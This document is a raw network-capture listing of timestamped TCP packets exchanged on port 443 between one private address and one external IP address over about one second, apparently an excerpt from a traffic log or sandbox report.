Oct 2, 2024 06:10:11.166369915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.166402102 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.166424990 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.166637897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.166657925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.166727066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.166731119 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.166770935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.172760010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.203069925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.203102112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.203151941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.203171015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.203188896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.203205109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.243984938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.244020939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.244060993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.244081974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.244097948 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.244122028 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.244324923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.244344950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.244381905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.244390011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.244421005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.244438887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.244715929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.244735956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.244777918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.244781971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.244792938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.244824886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.245207071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.245229006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.245274067 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.245277882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.245346069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.245352030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.245366096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.245390892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.245410919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.245414972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.245441914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.245456934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.245886087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.245904922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.245950937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.245954990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.245991945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.246367931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.246390104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.246426105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.246431112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.246465921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.247529030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.293859005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.293888092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.293936968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.293956995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.293972015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.294017076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.334820986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.334846020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.334896088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.334903002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.334944010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.335012913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.335036993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.335067034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.335069895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.335095882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.335118055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.335309982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.335330009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.335360050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.335362911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.335405111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.335412025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.335587978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.335613012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.335639954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.335644007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.335665941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.335683107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.335985899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.336004972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.336076975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.336081982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.336128950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.336353064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.336373091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.336405993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.336410046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.336441994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.336456060 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.336604118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.336632013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.336658955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.336663008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.336688042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.336708069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.384565115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.384588003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.384629965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.384638071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.384675980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.384681940 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.425160885 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.425183058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.425270081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.425276041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.425317049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.425431013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.425445080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.425487041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.425493956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.425517082 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.425537109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.425822973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.425843954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.425887108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.425890923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.425930977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.426168919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.426183939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.426224947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.426229954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.426275015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.426522970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.426537991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.426584005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.426589012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.426606894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.426618099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.426816940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.426841974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.426884890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.426888943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.426928997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.427072048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.427084923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.427125931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.427130938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.427166939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.475378036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.475419998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.475482941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.475487947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.475527048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.475553989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.515832901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.515865088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.515929937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.515937090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.515986919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.516236067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.516251087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.516304970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.516310930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.516355991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.516495943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.516511917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.516560078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.516563892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.516614914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.516614914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.516994953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.517010927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.517071009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.517076015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.517117977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.517337084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.517352104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.517405987 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.517410040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.517446995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.517544985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.517565966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.517616987 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.517621040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.517657042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.517870903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.517884970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.517946005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.517951965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.518024921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.565987110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.566016912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.566101074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.566108942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.566148996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.606504917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.606530905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.606616020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.606625080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.606667995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.606789112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.606806040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.606843948 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.606848001 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.606879950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.606899023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.607095003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.607109070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.607146978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.607151031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.607176065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.607196093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.607410908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.607424974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.607482910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.607486963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.607526064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.607809067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.607821941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.607881069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.607886076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.607920885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.608144045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.608158112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.608213902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.608221054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.608254910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.608463049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.608478069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.608531952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.608537912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.608578920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.656397104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.656423092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.656534910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.656541109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.656589985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.697236061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.697259903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.697338104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.697346926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.697403908 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.697479963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.697494984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.697550058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.697556973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.697601080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.697724104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.697743893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.697798967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.697803974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.697846889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.698072910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.698087931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.698131084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.698136091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.698160887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.698177099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.698391914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.698416948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.698466063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.698470116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.698518038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.698937893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.698954105 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.699028015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.699033976 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.699074030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.699214935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.699230909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.699280024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.699285030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.699323893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.746021032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.747524977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.747545958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.747648001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.747657061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.747703075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.787961960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.787987947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.788106918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.788108110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.788124084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.788150072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.788176060 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.788182974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.788217068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.788233995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.788378000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.788393021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.788439035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.788446903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.788487911 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.788722038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.788738012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.788810015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.788815975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.788866997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.789069891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.789088011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.789143085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.789149046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.789237976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.789422989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.789437056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.789480925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.789484978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.789511919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.789525986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.789652109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.789666891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.789716959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.789722919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.789762974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.812426090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.837886095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.837901115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.838047981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.838053942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.838099957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.878590107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.878609896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.878695965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.878704071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.878742933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.879079103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.879095078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.879144907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.879151106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.879190922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.879693031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.879709005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.879756927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.879762888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.879802942 CEST	49744	443	192.168.2.4	167.114.14.168
